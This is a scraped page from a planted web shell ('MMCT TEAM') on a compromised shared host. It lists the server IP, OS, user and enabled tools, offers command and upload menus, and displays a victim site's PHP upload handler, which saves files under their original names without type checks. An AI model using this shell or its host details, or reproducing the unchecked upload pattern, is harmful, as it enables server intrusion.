MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.68
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/imyrqtmy/www/agriba/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/www/agriba/visitng_card_image_code2.php
<?php
require 'includes/db-conn.inc.php';
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    if (isset($_FILES['txtimage2']) && $_FILES['txtimage2']['error'] == 0) {
        $uploadDir = 'media/visitingcard/';
        $uploadFile = $uploadDir . basename($_FILES['txtimage2']['name']);

        // Ensure the uploads directory exists
        if (!is_dir($uploadDir)) {
            mkdir($uploadDir, 0777, true);
        }

        if (move_uploaded_file($_FILES['txtimage2']['tmp_name'], $uploadFile)) {
            // Insert file info into the database
           $randomValue = bin2hex(random_bytes(16));

            if ($conn->connect_error) {
                die("Connection failed: " . $conn->connect_error);
            }

            $fileName = $conn->real_escape_string(basename($_FILES['txtimage2']['name']));
            $filePath = $conn->real_escape_string($uploadFile);

            $sql = "INSERT INTO visitng_card_images (file_name, file_path ,random_value) VALUES ('$fileName', '$filePath','$randomValue')";

            if ($conn->query($sql) === TRUE) {
                  echo json_encode(['status' => 'success', 'message' => 'File uploaded and saved to database successfully', 'random_value' => $randomValue]);
            } else {
                echo json_encode(['status' => 'error', 'message' => 'Error saving file info to database: ' . $conn->error]);
            }

            $conn->close();
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Failed to move uploaded file']);
        }
    } else {
        echo json_encode(['status' => 'error', 'message' => 'No file uploaded or there was an upload error']);
    }
} else {
    echo json_encode(['status' => 'error', 'message' => 'Invalid request method']);
}
?>

MMCT - 2023